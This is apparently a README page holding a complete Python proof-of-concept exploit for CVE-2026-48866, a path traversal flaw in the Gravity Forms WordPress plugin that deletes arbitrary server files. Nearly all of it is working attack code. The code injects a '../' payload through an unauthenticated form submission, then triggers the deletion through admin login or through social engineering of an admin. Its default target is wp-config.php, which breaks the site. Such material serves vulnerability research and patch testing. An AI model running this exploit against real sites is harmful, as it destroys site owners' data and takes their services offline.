README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-48866 - Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal
CVSS: 9.6 (Critical) | CWE-22 | Unauthenticated (requires admin interaction to trigger)
Vulnerability:
Gravity Forms does not validate that file URLs stored in entries are within
the uploads directory. An attacker can submit a form with a crafted
gform_uploaded_files parameter containing path traversal sequences (../).
When an admin later deletes the entry (or the file from the entry), the
delete_physical_file() function resolves the traversal and deletes an
arbitrary file from the server filesystem.
Attack Flow:
1. Attacker submits a public form with a multi-file upload field
2. POST includes gform_uploaded_files with a URL containing ../../../target_file
3. URL passes esc_url_raw() and is_valid_url() checks (neither strips ../)
4. Malicious URL is stored in the database entry
5. When admin deletes the entry, unlink() is called on the traversed path
Fix (2.10.1):
Added GFCommon::is_file_in_uploads() check that resolves ../. sequences
and verifies the canonical path starts with the uploads directory.
Usage:
python3 poc.py --target https://test.com --form-id 1 --field-id 1 --file wp-config.php
python3 poc.py --target https://test.com --form-id 1 --field-id 1 --file wp-config.php --trigger --admin-user admin --admin-pass password
Date: 2026-06-01
"""
import argparse
import json
import re
import sys
import urllib.parse
try:
import requests
except ImportError:
print("[!] 'requests' module not found. Install with: pip install requests")
sys.exit(1)
def get_form_nonce(session, target, form_id):
"""Fetch the form page and extract the nonce and gform_unique_id."""
# Try the home page first, then common form pages
for path in ['/', f'/?gf_page=preview&id={form_id}', '/contact/', '/submit/']:
try:
resp = session.get(f'{target}{path}', timeout=15, verify=False)
if resp.status_code == 200 and f'gform_submit_{form_id}' in resp.text:
break
except Exception:
continue
else:
# Try wp-admin preview as fallback
resp = session.get(f'{target}/wp-admin/admin.php?page=gf_edit_forms&view=settings&subview=preview&id={form_id}', timeout=15, verify=False)
nonce_match = re.search(r'gform_ajax_nonce["\s:]+["\']([a-f0-9]+)["\']', resp.text)
if not nonce_match:
# Try alternate nonce patterns
nonce_match = re.search(r'name=["\']gform_ajax_nonce["\'][^>]*value=["\']([a-f0-9]+)["\']', resp.text)
if not nonce_match:
nonce_match = re.search(r'"nonce":"([a-f0-9]+)"', resp.text)
nonce = nonce_match.group(1) if nonce_match else None
unique_id_match = re.search(r'gform_unique_id["\s:]+["\']([a-zA-Z0-9]+)["\']', resp.text)
unique_id = unique_id_match.group(1) if unique_id_match else 'abc123def456'
return nonce, unique_id, resp.text
def craft_payload(target, form_id, field_id, target_file, traversal_depth=3, upload_url=None):
"""Craft the gform_uploaded_files payload with path traversal."""
# Upload root: {target}/wp-content/uploads/gravity_forms/
# Traversal escapes gravity_forms/ -> uploads/ -> wp-content/ -> WP root
traversal = '../' * traversal_depth
if upload_url:
malicious_url = f'{upload_url.rstrip("/")}/{traversal}{target_file}'
else:
malicious_url = f'{target}/wp-content/uploads/gravity_forms/{traversal}{target_file}'
input_name = f'input_{field_id}'
payload = {
input_name: [
{
'url': malicious_url,
'uploaded_filename': 'legitimate.txt',
'id': 'poc-file-1'
}
]
}
return json.dumps(payload), malicious_url
def submit_form(session, target, form_id, field_id, target_file, traversal_depth=3, upload_url=None):
"""Submit the form with the crafted path traversal payload."""
print(f'[*] Fetching form page to get nonce...')
nonce, unique_id, page_html = get_form_nonce(session, target, form_id)
if nonce:
print(f'[+] Got nonce: {nonce}')
else:
print(f'[!] Could not extract nonce from form page. Trying without nonce...')
gform_uploaded_files, malicious_url = craft_payload(
target, form_id, field_id, target_file, traversal_depth, upload_url
)
print(f'[*] Crafted payload URL: {malicious_url}')
print(f'[*] gform_uploaded_files: {gform_uploaded_files}')
post_data = {
f'is_submit_{form_id}': '1',
'gform_submit': str(form_id),
f'gform_unique_id': unique_id,
'gform_uploaded_files': gform_uploaded_files,
'gform_target_page_number_1': '0',
'gform_source_page_number_1': '1',
'gform_field_values': '',
}
if nonce:
post_data['gform_ajax_nonce'] = nonce
ajax_url = f'{target}/wp-admin/admin-ajax.php'
print(f'\n[*] Submitting form {form_id} to {ajax_url}...')
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest',
}
post_data['action'] = 'gform_submit_form'
resp = session.post(ajax_url, data=post_data, headers=headers, timeout=30, verify=False)
print(f'[*] Response status: {resp.status_code}')
print(f'[*] Response length: {len(resp.text)}')
if resp.status_code == 200:
entry_id = None
# Try to extract entry_id from the AJAX response
eid_match = re.search(r'"entry_id"\s*:\s*"?(\d+)"?', resp.text)
if not eid_match:
eid_match = re.search(r'entry_id=(\d+)', resp.text)
if not eid_match:
eid_match = re.search(r'lid=(\d+)', resp.text)
if eid_match:
entry_id = eid_match.group(1)
if 'gformRedirect' in resp.text or 'confirmation' in resp.text.lower() or 'thank' in resp.text.lower():
print(f'[+] Form submitted successfully. Malicious URL stored in entry.')
if entry_id:
print(f'[+] Entry ID: {entry_id}')
return True, entry_id
elif 'validation_error' in resp.text or 'validation_message' in resp.text:
print(f'[-] Form validation failed. The form may require additional fields.')
print(f' Response snippet: {resp.text[:500]}')
return False, None
else:
print(f'[-] Unclear response. Cannot confirm entry creation.')
print(f' Response snippet: {resp.text[:500]}')
return False, None
else:
print(f'[-] Submission failed with status {resp.status_code}')
del post_data['action']
resp = session.post(target, data=post_data, headers=headers, timeout=30, verify=False)
print(f'[*] Direct POST response: {resp.status_code}')
return resp.status_code == 200, None
def trigger_deletion(session, target, admin_user, admin_pass, form_id, poisoned_entry_id=None):
"""Log in as admin and delete the poisoned entry to trigger the file deletion."""
print(f'\n[*] === Phase 2: Triggering file deletion as admin ===')
login_url = f'{target}/wp-login.php'
login_data = {
'log': admin_user,
'pwd': admin_pass,
'wp-submit': 'Log In',
'redirect_to': f'{target}/wp-admin/',
'testcookie': '1',
}
session.cookies.set('wordpress_test_cookie', 'WP+Cookie+check')
resp = session.post(login_url, data=login_data, timeout=15, verify=False, allow_redirects=True)
if 'dashboard' in resp.text.lower() or resp.url.endswith('/wp-admin/'):
print(f'[+] Logged in as {admin_user}')
else:
print(f'[-] Login may have failed. Status: {resp.status_code}, URL: {resp.url}')
return False
entries_url = f'{target}/wp-admin/admin.php?page=gf_entries'
resp = session.get(entries_url, timeout=15, verify=False)
entry_ids = re.findall(r'entry_id=(\d+)', resp.text)
if not entry_ids:
print(f'[*] Trying REST API to find entries...')
api_resp = session.get(f'{target}/wp-json/gf/v2/entries?_sort_direction=DESC&paging[page_size]=5', timeout=15, verify=False)
if api_resp.status_code == 200:
try:
entries_data = api_resp.json()
if 'entries' in entries_data:
entry_ids = [str(e['id']) for e in entries_data['entries']]
except Exception:
pass
elif api_resp.status_code in (401, 403):
print(f'[-] REST API requires authentication or is disabled.')
else:
print(f'[-] REST API returned {api_resp.status_code}')
if not entry_ids:
print(f'[-] No entries found. The form submission may not have created an entry.')
return False
# If we know the poisoned entry ID, use it directly
if poisoned_entry_id and str(poisoned_entry_id) in [str(e) for e in entry_ids]:
latest_entry_id = str(poisoned_entry_id)
print(f'[+] Using poisoned entry ID: {latest_entry_id}')
elif poisoned_entry_id:
# Entry ID not in the list — might be on a different page
print(f'[!] Poisoned entry {poisoned_entry_id} not in first page of results.')
print(f'[*] Trying poisoned entry ID directly: {poisoned_entry_id}')
latest_entry_id = str(poisoned_entry_id)
else:
latest_entry_id = entry_ids[0]
print(f'[+] Found latest entry ID: {latest_entry_id}')
print(f'[!] No poisoned entry ID known. Deleting latest entry may target wrong entry.')
entry_detail_url = f'{target}/wp-admin/admin.php?page=gf_entries&view=entry&id={form_id}&lid={latest_entry_id}'
resp = session.get(entry_detail_url, timeout=15, verify=False)
delete_nonce = None
nonce_match = re.search(r'page=gf_entries.*?delete.*?_wpnonce=([a-f0-9]+)', resp.text)
if nonce_match:
delete_nonce = nonce_match.group(1)
if not delete_nonce:
nonce_match = re.search(r'_wpnonce=([a-f0-9]+).*?delete', resp.text)
if nonce_match:
delete_nonce = nonce_match.group(1)
if not delete_nonce:
resp = session.get(entries_url, timeout=15, verify=False)
nonce_match = re.search(r'name="_wpnonce"\s+value="([a-f0-9]+)"', resp.text)
if nonce_match:
delete_nonce = nonce_match.group(1)
if not delete_nonce:
print(f'[-] Could not find delete nonce. Try deleting entry {latest_entry_id} manually.')
return False
print(f'[*] Deleting entry {latest_entry_id}...')
delete_data = {
'action': 'delete',
'entry[]': latest_entry_id,
'_wpnonce': delete_nonce,
}
resp = session.post(entries_url, data=delete_data, timeout=15, verify=False)
if resp.status_code == 200:
print(f'[+] Entry deleted. If the target file existed, it should now be deleted.')
return True
else:
print(f'[-] Delete request returned status {resp.status_code}')
return False
def verify_file_exists(session, target, target_file):
"""Check if the target file is accessible (for files like wp-config.php, check site health)."""
print(f'\n[*] Checking target site health...')
try:
resp = session.get(target, timeout=15, verify=False)
if target_file != 'wp-config.php':
print(f'[!] Cannot verify deletion of {target_file} without server-side access.')
return None
if resp.status_code == 200 and ('WordPress' in resp.text or '<html' in resp.text):
print(f'[+] Site is responding normally (file may not have been deleted yet)')
return True
elif resp.status_code == 500 or 'error establishing a database connection' in resp.text.lower():
print(f'[!!!] Site returned error - wp-config.php may have been deleted!')
return False
else:
print(f'[?] Site status: {resp.status_code}')
return None
except Exception as e:
print(f'[!!!] Site unreachable: {e} - wp-config.php may have been deleted!')
return False
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-48866 - Gravity Forms Path Traversal Arbitrary File Deletion PoC',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Phase 1 only - inject malicious entry (unauthenticated)
python3 poc.py --target https://test.com --form-id 1 --field-id 3
# Full exploitation - inject + trigger deletion
python3 poc.py --target https://test.com --form-id 1 --field-id 3 \\
--trigger --admin-user admin --admin-pass password
# Target a specific file with custom traversal depth
python3 poc.py --target https://test.com --form-id 1 --field-id 3 \\
--file .htaccess --depth 2
"""
)
parser.add_argument('--target', '-t', required=True, help='Target WordPress URL (e.g., https://target.com)')
parser.add_argument('--form-id', '-f', type=int, required=True, help='Gravity Forms form ID')
parser.add_argument('--field-id', '-i', type=int, required=True, help='File upload field ID')
parser.add_argument('--file', default='wp-config.php', help='File to delete (relative to WP root, default: wp-config.php)')
parser.add_argument('--depth', type=int, default=3, help='Path traversal depth (default: 3 for gravity_forms -> wp root)')
parser.add_argument('--upload-url', help='Full upload URL root (auto-detected if omitted, e.g. https://target.com/wp-content/uploads/gravity_forms)')
parser.add_argument('--trigger', action='store_true', help='Also trigger the deletion by logging in as admin and deleting the entry')
parser.add_argument('--admin-user', default='admin', help='WordPress admin username (for --trigger)')
parser.add_argument('--admin-pass', default='admin', help='WordPress admin password (for --trigger)')
parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
parser.add_argument('--verify-only', action='store_true', help='Only check if the target file still exists')
args = parser.parse_args()
target = args.target.rstrip('/')
if not target.startswith('http'):
target = f'https://{target}'
print(f'''
CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
======================================================
Target: {target}
Form ID: {args.form_id}
Field ID: {args.field_id}
File: {args.file}
Depth: {args.depth}
Trigger: {args.trigger}
''')
session = requests.Session()
session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
if args.proxy:
session.proxies = {'http': args.proxy, 'https': args.proxy}
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if args.verify_only:
verify_file_exists(session, target, args.file)
return
print(f'[*] === Phase 1: Injecting path traversal payload ===')
success, entry_id = submit_form(session, target, args.form_id, args.field_id, args.file, args.depth, args.upload_url)
if not success:
print(f'\n[-] Phase 1 failed. Form submission did not succeed.')
print(f'[*] Possible reasons:')
print(f' - Form requires additional required fields')
print(f' - Form ID or field ID is incorrect')
print(f' - AJAX submission is disabled')
print(f' - Anti-spam (honeypot/reCAPTCHA) is blocking')
sys.exit(1)
if args.trigger:
admin_session = requests.Session()
admin_session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
if args.proxy:
admin_session.proxies = {'http': args.proxy, 'https': args.proxy}
trigger_deletion(admin_session, target, args.admin_user, args.admin_pass, args.form_id, entry_id)
verify_file_exists(session, target, args.file)
else:
print(f'\n[+] Phase 1 complete. The malicious URL has been injected into the entry.')
print(f'[*] To trigger the deletion, an admin must delete the entry containing the')
print(f' poisoned file URL. This can be achieved via:')
print(f' 1. Social engineering (send admin a link to delete the entry)')
print(f' 2. Wait for routine entry cleanup')
print(f' 3. Use --trigger flag with admin credentials to simulate')
print(f'')
print(f'[*] When the entry is deleted, the following file will be removed:')
print(f' {args.file}')
if __name__ == '__main__':
main()